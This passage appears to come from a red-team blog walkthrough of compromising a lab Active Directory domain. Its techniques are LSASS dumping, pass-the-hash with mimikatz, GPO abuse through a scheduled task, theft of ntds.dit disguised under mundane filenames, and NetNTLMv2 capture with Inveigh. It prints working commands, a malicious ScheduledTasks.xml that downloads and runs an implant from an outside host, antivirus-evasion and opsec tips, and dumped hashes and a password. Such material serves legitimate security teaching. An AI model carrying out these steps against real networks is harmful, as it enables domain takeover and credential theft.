As expected, the Implant is running in a 'SYSTEM' context. And the DLL payload didn't bother Defender one bit, which I knew ahead of time because I tested it out on a Windows 10 machine with the cloud reporting and such disabled.

New Context: SYSTEM@beta.

So local 'SYSTEM' context and a user whose NTLM hash I want means only one thing, right?

Right, not mimikatz. Instead, I'm going to dump the lsass.exe process, and use mimikatz on my nice, safe workstation. Load up out-minidump.ps1 into the Implant.

out-minidump -process (get-process -id 960) -dumpfilepath c:\users\public\

    Directory: C:\users\public


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        1/24/2019  11:21 PM       45299123 lsass_960.dmp

How did I already know the PID of lsass.exe? I remote enumerated the system, remember?

There is an opsec risk to writing the dump to disk. In a real engagement, it would probably be prudent to modify out-minidump.ps1 to output a different default name for the file. Optimally something less suspicious looking than 'privileged-process-name.dmp.' I like to use boring telemetry log names.

If you wanted to go all out, you could even change the function to Base64-encode the dump and write the whole string to the console. This would avoid disk writes. Such an output would be really long though. Instead you could construct an HTTPS POST request and send it to a webserver. Heck, a simple 'nc' or 'socat' listener would suffice, just encrypt the output. You don't want to send unencrypted customer secrets over the wire.

I'm not doing any of that stuff here though, because I didn't see anything that looked like an EDR. So I'm not terribly concerned with writing a blob to disk.

Once the dump is written, I just slurp it up with the Implant's built-in download function. Even if the Implant is talking plaintext HTTP to your C2Server, the actual communications are encrypted. So don't worry about sensitive transfers.

download-file c:\users\public\lsass_960.dmp

Command returned against implant 154 on host BETA 0METALAB\NT AUTHORITY\SYSTEM (01/25/2019 07:22:04)
Download file part 00001 of 00005 : lsass_960.dmp

Command returned against implant 154 on host BETA 0METALAB\NT AUTHORITY\SYSTEM (01/25/2019 07:22:14)
Download file part 00002 of 00005 : lsass_960.dmp

Command returned against implant 154 on host BETA 0METALAB\NT AUTHORITY\SYSTEM (01/25/2019 07:22:24)
Download file part 00003 of 00005 : lsass_960.dmp

Command returned against implant 154 on host BETA 0METALAB\NT AUTHORITY\SYSTEM (01/25/2019 07:22:35)
Download file part 00004 of 00005 : lsass_960.dmp

Command returned against implant 154 on host BETA 0METALAB\NT AUTHORITY\SYSTEM (01/25/2019 07:22:37)
Download file part 00005 of 00005 : lsass_960.dmp

Once the dump is on my system, I'll delete the source file from 'beta.' All that remains is to feed the dump to mimikatz

Dumped Creds

Hash dump successful.

Now, there's a few ways of going about the next step. What I need is a process with an authentication token containing 'userguytwo.' I need that because 'userguytwo' has the rights to modify the target GPO. I'm 'SYSTEM' so I could do some token manipulation stuff, but it is convenient to have a new Implant with the proper process token. I will use invoke-mimikatz to accomplish this task. I run the following command after importing the module.

invoke-mimikatz -command '"sekurlsa::pth /user:userguytwo /domain:0metalab /ntlm:2efd3191647db54b64be19c42acf3f7c /run:c:\windows\agent.exe"'

I chose to invoke an EXE version of the PoshC2 Implant here. Because of quoting issues, you can't call a /run: argument with arguments for the invoked binary from Invoke-Mimikatz, which makes the DLL payload more inconvenient to run. Uploading the EXE version is one workaround. I'll show another way later.

Once I ran this command, l got a second Implant callback from beta, this time with a token for 'userguytwo.' Note that the user will still show 'SYSTEM' in the Implant list. That's normal.

New Context:userguytwo@beta

To move forward, I need to know where in the SYSVOL the Desktop Shortcut GPO is stored.

get-domaingpo -identity 'Desktop Shortcut

usncreated               : 128731
displayname              : Desktop Shortcut
gpcmachineextensionnames : [{00000000-0000-0000-0000-000000000000}{CEFFA6E2-E3BD-421B-852C-6F6A79A59BC1}][{C418DD9D-0D14-4EFB-8FBF-CFE535C8FAC7}{CEFFA6E2-E3BD-421B-852C-6F6A79A59BC1]
whenchanged              : 1/26/2019 12:00:35 PM
objectclass              : {top, container, groupPolicyContainer}
gpcfunctionalityversion  : 2
showinadvancedviewonly   : True
usnchanged               : 130187
dscorepropagationdata    : {1/22/2019 7:26:25 AM, 1/22/2019 7:24:41 AM, 1/19/2019 7:56:39 AM, 1/1/1601 12:00:00 AM}
name                     : {2005AAC6-F999-4593-91C5-9F1E0E2A2753}
flags                    : 0
cn                       : {2005AAC6-F999-4593-91C5-9F1E0E2A2753}
gpcfilesyspath           : \\0metalab.private\SysVol\0metalab.private\Policies\{2005AAC6-F999-4593-91C5-9F1E0E2A2753}
distinguishedname        : CN={2005AAC6-F999-4593-91C5-9F1E0E2A2753},CN=Policies,CN=System,DC=0metalab,DC=private
whencreated              : 1/19/2019 7:56:01 AM
versionnumber            : 7
instancetype             : 4
objectguid               : ac3e3555-2691-41dc-8132-3bddac220448
objectcategory           : CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=0metalab,DC=private

Of note in the output is this array of GUIDs, 'gpcmachineextensionnames.' Since these GUIDs are inscrutible to humans, I'll need to look them up to see what they mean. Also pertinent is the full path to the GPO in the SYSVOL. What's contained in that directory?

ls \\0metalab.private\SysVol\0metalab.private\Policies\{2005AAC6-F999-4593-91C5-9F1E0E2A2753}

null return

Well, that didn't work. Of course, the reason is pretty obvious. In PowerShell curly braces have a meaning, which I blatently ignored when I just pasted in the path like that. This time I'll escape the braces, and add in some recursion to save some repetition.

ls -recurse '\\0metalab.private\SysVol\0metalab.private\Policies\{2005AAC6-F999-4593-91C5-9F1E0E2A2753}'

    Directory: \\0metalab.private\SysVol\0metalab.private\Policies\{2005AAC6-F999-4593-91C5-9F1E0E2A2753}


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        1/18/2019  11:57 PM                Machine
d-----        1/18/2019  11:56 PM                User
-a----        1/18/2019  11:56 AM            122 GPT.INI


    Directory: \\0metalab.private\SysVol\0metalab.private\Policies\{2005AAC6-F999-4593-91C5-9F1E0E2A2753}\Machine


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        1/18/2019  11:56 AM                Preferences


    Directory:
    \\0metalab.private\SysVol\0metalab.private\Policies\{2005AAC6-F999-4593-91C5-9F1E0E2A2753}\Machine\Preferences


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        1/18/2019  11:57 PM                Shortcuts


    Directory: \\0metalab.private\SysVol\0metalab.private\Policies\{2005AAC6-F999-4593-91C5-9F1E0E2A2753}\Machine\Prefer
    ences\Shortcuts


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        1/18/2019  11:57 PM            549 Shortcuts.xml

So this directory structure is pretty typical of what you'll find in a GPO store.

Directories for 'Machine' and 'User' objects will appear if the relevant OU has User and/or Machine containers. Containers are generated when the corresponding type of object is placed in the OU.

There is a 'GPT.ini' file, and a smattering of XML files and other artifacts specific to whatever the GPO does. The 'GPT.ini' contains some metadata about the GPO.

For my purposes, I'll need to create a specific directory and upload a special 'scheduledtasks.xml' file. Then, I'll need to update the GPO in the AD itself to reflect the changes and enable the use of the schduled tasks extension.

I created the ScheduledTasks directory either with mkdir or the real command New-Item in the path

'\\0metalab.private\SysVol\0metalab.private\Policies\{2005AAC6-F999-4593-91C5-9F1E0E2A2753}\Machine\Preferences\'

Next I need to supply the weaponized 'ScheduledTasks.xml'.

There are a few such files around on the Internet, including examples from @rastamouse and this Python script. Here's mine. It will probably look a little different than the other examples because I created it by making a real scheduled task in the active directory, and then modifying it.

<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}"><ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="0meta persist-0BEF12EAA3" image="0" changed="2019-01-25 11:22:12" uid="{CCD3B22B-9DE5-4EEB-AE38-4AD68420E0D7}" userContext="0" removePolicy="0"><Properties action="C" name="0meta persist-0BEF12EAA3" runAs="NT AUTHORITY\System" logonType="InteractiveToken"><Task version="1.3"><RegistrationInfo><Author>Admin Guy One</Author><Description></Description></RegistrationInfo><Principals><Principal id="Author"><UserId>NT AUTHORITY\System</UserId><LogonType>InteractiveToken</LogonType><RunLevel>LeastPrivilege</RunLevel></Principal></Principals><Settings><IdleSettings><Duration>PT5M</Duration><WaitTimeout>PT1H</WaitTimeout><StopOnIdleEnd>false</StopOnIdleEnd><RestartOnIdle>false</RestartOnIdle></IdleSettings><MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy><DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries><StopIfGoingOnBatteries>false</StopIfGoingOnBatteries><AllowHardTerminate>false</AllowHardTerminate><StartWhenAvailable>true</StartWhenAvailable><AllowStartOnDemand>true</AllowStartOnDemand><Enabled>true</Enabled><Hidden>false</Hidden><ExecutionTimeLimit>PT0S</ExecutionTimeLimit><Priority>7</Priority><DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter></Settings><Triggers><TimeTrigger><StartBoundary>%LocalTimeXmlEx%</StartBoundary><EndBoundary>%LocalTimeXmlEx%</EndBoundary><Enabled>true</Enabled></TimeTrigger></Triggers><Actions Context="Author"><Exec><Command>C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Command><Arguments>-command "if($env:Computername -eq '0METALABDC01'){iwr http://192.168.10.3:10000/agent_exe.txt -outfile c:\Windows\agent.txt; mv c:\windows\agent.txt c:\windows\agent.exe; c:\Windows\agent.exe}"</Arguments></Exec></Actions></Task></Properties></ImmediateTaskV2>
</ScheduledTasks>

So I'll point out some stuff about this.

  1. Since this is mimicking an engagement, I'm presuming that the client and I have agreed that when I perform certain actions, I leave a 'tell' that it's me, and not a malicious actor. Hence the 'name="0metapersist-0BEF12EAA3"'. I make a unique hex string for each engagement that acts as a flag. Feel free to ignore this and name it however you wish.
  2. I've given the 'Author' tag the believable name of a domain Admin account.
  3. We run as 'SYSTEM' on the DC, thus there's no need to use the 'S4U' logon type. The 'SYSTEM' user is already logged on.
  4. You can only have one 'Command' tag pair and one 'Arguments' tag pair. At least as far as I was about to confirm. If you need more than one execution action, concatenate with ';' or write a script to do what you need, and just invoke that in your task.
  5. In the event this GPO rolled out to more than one host, it would be silly, inconvenient, noisy and perhaps dangerous to have the script execute on every host in the OU. Thus, my PowerShell has a bit of logic to figure out if it's running on the intended target and to only act when that is true.
  6. I don't know what AV, if any, is running on the target. As we've run into AVG already, I'm performing my workaround referenced previously, where I write a downloaded binary as a .txt and then rename it to .exe to get around AVG's behavior pattern match for this action.

Now I upload the XML document into the 'ScheduledTasks' directory I already made. You may download it with iwr, or use the Implant's upload-file function, or whatever suits you.

Next, I have to modify the actual GPO to, essentially, "be the sort of GPO that has Scheduled Tasks." Microsoft uses a set of Well-Known GUIDs to tell Windows what kind of extensions need to be loaded in order to fulfill the requirements of any GPO. This is done in the 'gpcmachineextensionnames' and/or 'gpcuserextensionnames' attributes with a set of arrays containing the well-known GUIDs.

@wald0 already talked about the particulars near the end of his article here.

It's important to note that the order of the GUIDs is important. The GPO won't work correctly if the GUIDs aren't in alphanumeric order, as far as I can tell. I gathered as much by looking at other GPOs and mimicking their order here. Each pair of braces starts the ordering over again.

Now I (ab)use the rights of 'userguytwo' to set the 'gpcmachineextensionnames' attribute.

Get-DomainGPO -Identity "Desktop Shortcut" | Set-DomainObject -Set @{'gpcmachineextensionnames'='[{00000000-0000-0000-0000-000000000000}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}{CEFFA6E2-E3BD-421B-852C-6F6A79A59BC1}][{AADCED64-746C-4633-A97C-D61349046527}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}][{C418DD9D-0D14-4EFB-8FBF-CFE535C8FAC7}{CEFFA6E2-E3BD-421B-852C-6F6A79A59BC1}]'}

usncreated               : 128731
displayname              : Desktop Shortcut
gpcmachineextensionnames : [[{00000000-0000-0000-0000-000000000000}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}{CEFFA6E2-E3BD-421B-852C-6F6A79A59BC1}][{AADCED64-746C-4633-A97C-D61349046527}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}][{C418DD9D-0D14-4EFB-8FBF-CFE535C8FAC7}{CEFFA6E2-E3BD-421B-852C-6F6A79A59BC1}]]
whenchanged              : 1/26/2019 10:07:36 AM
objectclass              : {top, container, groupPolicyContainer}
gpcfunctionalityversion  : 2
showinadvancedviewonly   : True
usnchanged               : 130153
dscorepropagationdata    : {1/22/2019 7:26:25 AM, 1/22/2019 7:24:41 AM, 1/19/2019 7:56:39 AM, 1/1/1601 12:00:00 AM}
name                     : {2005AAC6-F999-4593-91C5-9F1E0E2A2753}
flags                    : 0
cn                       : {2005AAC6-F999-4593-91C5-9F1E0E2A2753}
gpcfilesyspath           : \\0metalab.private\SysVol\0metalab.private\Policies\{2005AAC6-F999-4593-91C5-9F1E0E2A2753}
distinguishedname        : CN={2005AAC6-F999-4593-91C5-9F1E0E2A2753},CN=Policies,CN=System,DC=0metalab,DC=private
whencreated              : 1/19/2019 7:56:01 AM
versionnumber            : 7
instancetype             : 4
objectguid               : ac3e3555-2691-41dc-8132-3bddac220448
objectcategory           : CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=0metalab,DC=private

If you compare the output here to the output on this GPO when I enumerated it earlier, the difference should be crystal clear.

Next, I have to force the Policy engine to notice me senpai pick up on the changes to the policy and propagate them. I do this by modifying that 'GPT.ini' file in the root of the policy folder.

(echo '[General]' 'Version=9' 'displayName=New Group Policy Object')>GPT.ini

This is just a one-liner way of modifying the file. You could edit a local copy and just overwrite the file remotely as well. Just make sure that the 'Version' you write is higher than the one that was there.

Next I'm modifying the GPO object to correspond the version I just wrote to the file. The two must be in sync, or unpredictable things might happen. I use the same method from before, with Set-DomainObject

Get-DomainGPO -Identity "Desktop Shortcut" | Set-DomainObject -Set @{'versionnumber'='9'}

Finally, wait up to 2 hours...(90 minutes +/-30 minutes) for the policy changes to be re-applied to the OU member(s).

New Normal implant connected: (uri=MOGqYcQU7ZblvXN key=HCYldXDnPNVZ9EAjxxbvSBVI55BjqWKkAU5rNOQ7d4I=)
10.1.1.1:51862 | URL:https://192.168.10.3:443 | Time:01/26/2019 11:54:36 | PID:3456 | Sleep:5 | 0METALAB\NT AUTHORITY\SYSTEM (AMD64)

Clean up after yourself (after establishing persistence!) by reverting the gpcmachinesextensionnames, incrementing the versions, and removing the .xml file.

New context:SYSTEM@0metalabdc01.

Now that I'm on the DC, I loaded the Invoke-mimikatz module, and...

invoke-mimikatz -command '"sekurlsa::logonpasswords"'

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 94697577 (00000000:05a4f869)
Session           : Interactive from 3
User Name         : DWM-3
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 1/26/2019 11:56:55 AM
SID               : S-1-5-90-3
        msv :
         [00000003] Primary
         * Username : 0METALABDC01$
         * Domain   : 0METALAB
         * NTLM     : 9aef1e653457c5f8e8b9d0c76ffda31f
         * SHA1     : 9a73713c01eb475064290a3d5156960d666c1af4
        tspkg :
        wdigest :
         * Username : 0METALABDC01$
         * Domain   : 0METALAB
         * Password : 75 d3 0a c5 79 31 68 46 ad ae 89 8d 3c 0a a0 96 c5 9d 85 70 f0 b3 be 4d 5a 56 ac 3b 8c 90 66 d7 14 1d d8 4d 56 c5 4e f7 d4 cf 6f 3c c1 5d 9c 32 58 97 cc d5 f4 2f 7a 05 c2 0c fc 95 ed 4e b2 bb af 8c c2 85 5a 85 5d 4e bb 66 ce 19 03 10 29 f4 06 29 a2 ad f4 d3 b1 8d 23 b2 e2 d0 eb 80 50 ea 4e 3e 7c 16 70 68 91 f9 74 e4 b9 3b 73 32 ed 11 65 a0 6d dc 76 7e 64 69 ef 49 f0 65 2b 98 cd 2a f3 98 65 17 a6 7f ee 3c c6 04 14 f2 98 bb 64 11 3c 1a 73 41 3b 62 78 6b 53 16 5e 3e 9b b2 fb 1e c4 fb 96 83 c4 70 db 7d 20 a4 b7 69 18 ad 57 2d 65 e9 98 d8 b9 ed 97 26 d5 bb 37 5c 35 0f 55 c3 2d 2f 32 cf 04 c4 c0 58 ed a1 72 51 99 fb a0 b9 44 4f a9 e7 4b 3d b4 1d da 34 64 16 9e 35 c9 04 fb 38 32 46 11 d5 4e 20 cd eb 66 50 66 b8 ca 03
        kerberos :
         * Username : 0METALABDC01$
         * Domain   : 0metalab.private
         * Password : 75 d3 0a c5 79 31 68 46 ad ae 89 8d 3c 0a a0 96 c5 9d 85 70 f0 b3 be 4d 5a 56 ac 3b 8c 90 66 d7 14 1d d8 4d 56 c5 4e f7 d4 cf 6f 3c c1 5d 9c 32 58 97 cc d5 f4 2f 7a 05 c2 0c fc 95 ed 4e b2 bb af 8c c2 85 5a 85 5d 4e bb 66 ce 19 03 10 29 f4 06 29 a2 ad f4 d3 b1 8d 23 b2 e2 d0 eb 80 50 ea 4e 3e 7c 16 70 68 91 f9 74 e4 b9 3b 73 32 ed 11 65 a0 6d dc 76 7e 64 69 ef 49 f0 65 2b 98 cd 2a f3 98 65 17 a6 7f ee 3c c6 04 14 f2 98 bb 64 11 3c 1a 73 41 3b 62 78 6b 53 16 5e 3e 9b b2 fb 1e c4 fb 96 83 c4 70 db 7d 20 a4 b7 69 18 ad 57 2d 65 e9 98 d8 b9 ed 97 26 d5 bb 37 5c 35 0f 55 c3 2d 2f 32 cf 04 c4 c0 58 ed a1 72 51 99 fb a0 b9 44 4f a9 e7 4b 3d b4 1d da 34 64 16 9e 35 c9 04 fb 38 32 46 11 d5 4e 20 cd eb 66 50 66 b8 ca 03
        ssp :
        credman :

Authentication Id : 0 ; 94700734 (00000000:05a504be)
Session           : RemoteInteractive from 3
User Name         : adminguyone
Domain            : 0METALAB
Logon Server      : 0METALABDC01
Logon Time        : 1/19/2019 1:48:55 AM
SID               : S-1-5-21-1859574994-4172712319-709742153-1108
        msv :
         [00000003] Primary
         * Username : adminguyone
         * Domain   : 0METALAB
         * NTLM     : 80ce42b57456063d2d91b381e3a17cfe
         * SHA1     : 56c06ecf999b80707c520fed8171292701bf9ebc
         [00010000] CredentialKeys
         * NTLM     : 80ce42b57456063d2d91b381e3a17cfe
         * SHA1     : 56c06ecf999b80707c520fed8171292701bf9ebc
        tspkg :
        wdigest :
         * Username : adminguyone
         * Domain   : 0METALAB
         * Password : Plug3-quilt7-mead-2Iota <- 2012R2+ defaults prevent this
        kerberos :
         * Username : adminguyone
         * Domain   : 0METALAB.PRIVATE
         * Password : (null)
        ssp :
        credman :

Alrighty then. I attained code execution on the DC and dumped sensitive hashes by leveraging GPO abuse. On top of that, because the server is an older version, I even get the plaintext version of the credential for the Domain Administrator user, adminguyone'!

But I'm not done, not by a long shot. Just because I compromised the DC doesn't mean that there aren't other potential routes. I'm obligated to run down all the obvious stuff for the client. So onward!

Route 2

I'm going to turn my attention to 'derpyguy' next, whom our enumeration of earlier revealed some remote execution rights on 0metalabdc02. Probably. See, I haven't actually confirmed the 'middle' part of the rights chain I was outlining earlier. I don't know that the PSRemoting group has been placed in the Remote Management Users restricted group on the server. So let's go about confirming or denying that assertion.

get-domaingpo -identity 'ps remoting rights'

usncreated               : 118864
displayname              : PS Remoting Rights
gpcmachineextensionnames : [{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]
whenchanged              : 12/14/2018 12:33:47 PM
objectclass              : {top, container, groupPolicyContainer}
gpcfunctionalityversion  : 2
showinadvancedviewonly   : True
usnchanged               : 118903
dscorepropagationdata    : {1/22/2019 7:26:25 AM, 1/22/2019 7:24:41 AM, 1/9/2019 5:42:21 AM, 1/9/2019 5:42:07 AM...}
name                     : {BB8A76D3-F7B4-470E-8CC3-87103021925E}
flags                    : 0
cn                       : {BB8A76D3-F7B4-470E-8CC3-87103021925E}
gpcfilesyspath           : \\0metalab.private\SysVol\0metalab.private\Policies\{BB8A76D3-F7B4-470E-8CC3-87103021925E}
distinguishedname        : CN={BB8A76D3-F7B4-470E-8CC3-87103021925E},CN=Policies,CN=System,DC=0metalab,DC=private
whencreated              : 12/14/2018 12:00:04 PM
versionnumber            : 4
instancetype             : 4
objectguid               : 9ecfacb3-7164-4978-a052-f5b88c6b1f9d
objectcategory           : CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=0metalab,DC=private

get-domainou -gplink 'BB8A76D3-F7B4-470E-8CC3-87103021925E'

usncreated            : 20778
name                  : Application Servers
gplink                : [LDAP://cn={BB8A76D3-F7B4-470E-8CC3-87103021925E},cn=policies,cn=system,DC=0metalab,DC=private]
whenchanged           : 12/14/2018 12:06:09 PM
objectclass           : {top, organizationalUnit}
usnchanged            : 118873
dscorepropagationdata : {1/22/2019 7:26:25 AM, 1/22/2019 7:24:41 AM, 1/9/2019 5:42:21 AM, 1/9/2019 5:42:07 AM...}
distinguishedname     : OU=Application Servers,OU=Lab,DC=0metalab,DC=private
ou                    : Application Servers
whencreated           : 5/16/2018 12:16:37 PM
instancetype          : 4
objectguid            : 617f6a9b-5769-44bc-ae65-621b271a9362
objectcategory        : CN=Organizational-Unit,CN=Schema,CN=Configuration,DC=0metalab,DC=private

Here, I'm just confirming what I know. There's a GPO, and it's linked to the 'Application Servers' OU, of which 0metalabdc02 is a member.

Somewhere in our SYSVOL is something that will help us figure out what's going on. Helpfully, the output told me the GPO's path. After some ls -recurse commands, I home in on one file.

gc '\\0metalab.private\SysVol\0metalab.private\Policies\{BB8A76D3-F7B4-470E-8CC3-87103021925E}\machine\microsoft\windows nt\secedit\gpttmpl.inf'

[Unicode]
Unicode=yes
[Version]
signature="$CHICAGO$"
Revision=1
[Group Membership]
*S-1-5-32-580__Memberof =
*S-1-5-32-580__Members = *S-1-5-21-1859574994-4172712319-709742153-1116

Okay then. So the members of the principal with SID S-1-[...]1116 are themselves members of the principal SID S-1-5-32-580, according to the file. This membership is asserted on any machine in the OU. Looking good so far.

convertfrom-sid S-1-5-21-1859574994-4172712319-709742153-1116

0METALAB\PSRemoting

This is as expected.

convertfrom-sid S-1-5-32-580

BUILTIN\Access Control Assistance Operators

And this is not...

Who the heck is 'Access Control Assistance Operators'? I was expecting 'Remote Management Users' here. Well, time to ask Google...

I found that, yes, indeed, that SID is supposed to be for Remote Management Users

So...what gives?

Turns out, probably just a mistaken copy-paste. If you search the PowerView_dev.ps1 file in your Modules directory for the SID, you'll find that the previous SID value was just copied an extra time...

Modify your source file, use loadmoduleforce in PoshC2 to overwrite your previous PowerView module, and you'll get the correct output. Isn't hacking fun!?

Tangent aside, I've confirmed my assumption: 'derpyguy' can PS remote into 0metalabdc02 thanks to rights granted by membership in the 'Remote Management Users' group.

Let's pivot!

$cred_derpy= New-Object System.Management.Automation.PSCredential('0metalab\derpyguy', (ConvertTo-SecureString 'Spring2018!' -AsPlainText -Force))

$0metalabdc02_session = New-PsSession -Computername 0metalabdc02 -Credential $cred_derpy

invoke-command -session $0metalabdc02_session -scriptblock {ls c:\}

WriteTime         Length Name                                PSComputerName
----                -------------         ------ ----                                --------------
d----         1/29/2019  10:03 PM                ifm                                 0metalabdc02
d----         7/20/2018   9:45 PM                inetpub                             0metalabdc02
d----         7/26/2012  12:44 AM                PerfLogs                            0metalabdc02
d-r--          5/9/2018   6:53 AM                Program Files                       0metalabdc02
d----         1/22/2019   2:58 AM                Program Files (x86)                 0metalabdc02
d----         7/20/2018   8:21 PM                Public Data                         0metalabdc02
d-r--        12/14/2018   4:39 AM                Users                               0metalabdc02
d----         7/20/2018   9:45 PM                Windows                             0metalabdc02

So poof, I have code execution on the remote host.

Something to note is that some PowerShell commands, like these directory enumerations, can take an especially long time to return. So your Implant didn't die...probably.

I'm not going to jump immediately to hooking this host with an Implant. After all, I have no idea what's even running on the host, from an AV perspective. So I'm going to cruise around for a bit with this PsSession and see what's around.

invoke-command -session $0metadc01_session -scriptblock {gci -recurse c:\users\derpyguy}

    Directory: C:\users\derpyguy


Mode                LastWriteTime         Length Name                                PSComputerName
----                -------------         ------ ----                                --------------
d-r--         12/14/2019  10:13 PM                Desktop                             0metalabdc02
d-r--        12/14/2018   4:39 AM                Documents                           0metalabdc02
d-r--         7/26/2012   1:04 AM                Downloads                           0metalabdc02
d-r--         7/26/2012   1:04 AM                Favorites                           0metalabdc02
d-r--         7/26/2012   1:04 AM                Links                               0metalabdc02
d-r--         7/26/2012   1:04 AM                Music                               0metalabdc02
d-r--         7/26/2012   1:04 AM                Pictures                            0metalabdc02
d----         7/26/2012   1:04 AM                Saved Games                         0metalabdc02
d-r--         7/26/2012   1:04 AM                Videos                              0metalabdc02


    Directory: C:\users\derpyguy\Desktop


Mode                LastWriteTime         Length Name                                PSComputerName
----                -------------         ------ ----                                --------------
-a---         12/14/2019  10:21 PM            148 reminder.txt                        0metalabdc02

Looks like derpy hasn't done much with his local user profile on this box. But he's left a note for himself or someone. Let's have a peek.

invoke-command -session $0metadc01_session -scriptblock {gc c:\users\derpyguy\desktop\reminder.txt}

Don't forget to remove the offline install for the dc promotion. c:\ifm

Okay, so that 'ifm' directory I enumerated earlier might actually be something interesting. Very well. There was also a 'public data' directory. Let's have a look-see.

invoke-command -session $0metalabdc02_session -scriptblock {gci -recurse 'c:\public data'}

    Directory: C:\public data


Mode                LastWriteTime         Length Name                                PSComputerName
----                -------------         ------ ----                                --------------
d----         7/20/2018   8:22 PM                Admin                               0metalabdc02
d----         1/29/2019  10:51 PM                Users                               0metalabdc02


    Directory: C:\public data\Users


Mode                LastWriteTime         Length Name                                PSComputerName
----                -------------         ------ ----                                --------------
-a---         7/20/2018  11:02 PM             45 Permission_test.txt                 0metalabdc02

Okay, so this is the backing directory for the 'users' share I enumerated before. And there was an Admin share that I couldn't see because I lacked read permissions.

invoke-command -session $0metalabdc02_session -scriptblock {gci -recurse c:\ifm}

    Directory: C:\ifm

Mode                LastWriteTime         Length Name                                PSComputerName
----                -------------         ------ ----                                --------------
d----         1/29/2019  10:03 PM                Active Directory                    0metalabdc02
d----         1/29/2019  10:03 PM                registry                            0metalabdc02

    Directory: C:\ifm\Active Directory

Mode                LastWriteTime         Length Name                                PSComputerName
----                -------------         ------ ----                                --------------
-a---         1/21/2019  11:00 PM       27279360 ntds.dit                            0metalabdc02

    Directory: C:\ifm\registry

Mode                LastWriteTime         Length Name                                PSComputerName
----                -------------         ------ ----                                --------------
-a---          1/8/2019   9:36 PM         262144 SECURITY                            0metalabdc02
-a---          1/8/2019   9:36 PM       12582912 SYSTEM                              0metalabdc02

Hey, I found 'ntds.dit'!

This directory, of course, is the default location for created offline exports from the ntdsutil.exe program. I've found an insufficently guarded treasure here.

So how do I retrieve it?

Exfiltrating big blobs of data is kinda out of scope for this article. I've read from knowledgable people that these 'ntds.dit' files can get really big, and most of the time red teamers prefer to reduce noise in engagements by using a DCSync technique to just dump out the parts of the database they want.

I can't do that though (ahem), so I'm going to grab a copy of the database. Removing sensitive data from a network requires some safeguards. Again, PoshC2 has us covered if I use the built-in download-file function.

To work magic on the 'ntds.dit' file, I also need the 'SYSTEM' registry hive that is present in the backup. Download-file needs direct access to the files. Some options for dealing with this include a new Implant running on the server or attempting to mount the directory as a PowerShell drive. Since the server already has an open SMB share though, I'm just going to copy the files to the share, pull them over the network with my Implant, and then delete the files.

invoke-command -session $0metadc01_session -scriptblock {cp 'c:\ifm\active directory\ntds.dit' 'c:\public data\users\boring_program_installer.exe'}

invoke-command -session $0metadc01_session -scriptblock {cp 'c:\ifm\registry\SYSTEM' 'c:\public data\users\boring_thing.log'}

I rename the files when I copy them. Choose something mundane that fits in with the environment.

From there, I just download.

download-file \\0metalabdc02\users\boring_program_installer.exe and
download-file \\0metalabdc02\users\boring_thing.log

Remove the files afterwards. Right now, PoshC2 has a bug where the file is locked somehow after the download is done. Sometimes it goes away on its own after awhile, but worst case you might have to migrate to a new implant on the same host to remove the lock. Hopefully it gets fixed soon.

Once pulled to my server, I move the files to a Windows machine, and install the DSInternals project. It contains a method to dump out the hashes I want.

Install-Module DSInternals
$key = Get-BootKey .\SYSTEM //Renamed from 'boring_thing.log'
Get-ADDBAccount -Bootkey $key -DBPath .\ntds.dit -All //Renamed from 'boring_program_installer.exe'

NTDS hashes

With all of those hashes in-hand, I'm just as privileged at this point as I was at the end of Route 1.

Route 3

So now I'm going to come back around to 'userguythree.' He is a member of the Account Operators group and has DCSync rights. I don't have his credentials though, (well, I do, but I'm ignoring the NTDS dump) so I'll have to find them, guess them, or capture them in some fashion.

I think using Responder or Inveigh are common steps to take in most pentest engagements, even now. These attacks will continue to remain effective against networks where IPv6 is ignored. However, they aren't without risk; modern IDS solutions can detect the address resolution spoofing that these tools use to work. It's a dangerous step to take if you haven't looked for an active IDS.

Be that as it may, I'm going to use Inveigh at the beginning of this route to try and capture the NetNTLMv2 hash of 'userguythree.'

I will recommend a source code change though. Lines 609-613 of the inveigh.ps1 file set the filenames for the logged output. We will change these, because defaults are bad, m'kay? Set them to something boring, as usual.

In order to get the best bang for the buck, I need to run Inveigh on a machine where I have high privilege. That would be beta as 'userguyone,' so I repeat the steps of invoking a new Implant on beta.

New Context:userguyone@beta.

Once up and running, I load the inveigh module. Feel free to choose a different output directory.

invoke-inveigh -consoleoutput n -fileoutput y -fileoutputdirectory c:\users\public\ -fileunique y

And then I wait. Potentially a loooong time.

gc c:\users\public\something_boring.txt

userguythree::0METALAB:6FC8DD94A4DEF3CE:0004468F8B3B8C91A9B447B0E80FB3C6:0101000000000000D3B19CC06EB8D401C38393C3142C4410000000000200100030004D004500540041004C00410042000100080042004500540041000400200030006D006500740061006C00610062002E00700072006900760061007400650003002A0062006500740061002E0030006D006500740061006C00610062002E0070007200690076006100740065000500200030006D006500740061006C00610062002E00700072006900760061007400650007000800D3B19CC06EB8D40106000400020000000800300030000000000000000000000000200000A47CA30BA283ABC28C2A54C5DE6BB2D7403DA4305783DA777163197D95A9DC4C0A001000000000000000000000000000000000000900200063006900660073002F0064006F00650073006E00740065007800690073007400000000000000000000000000

Now, once again, I'm faced with a potentially long bruteforce or dictionary attack. But perhaps there's another way to get the hash or password for 'userguythree.'

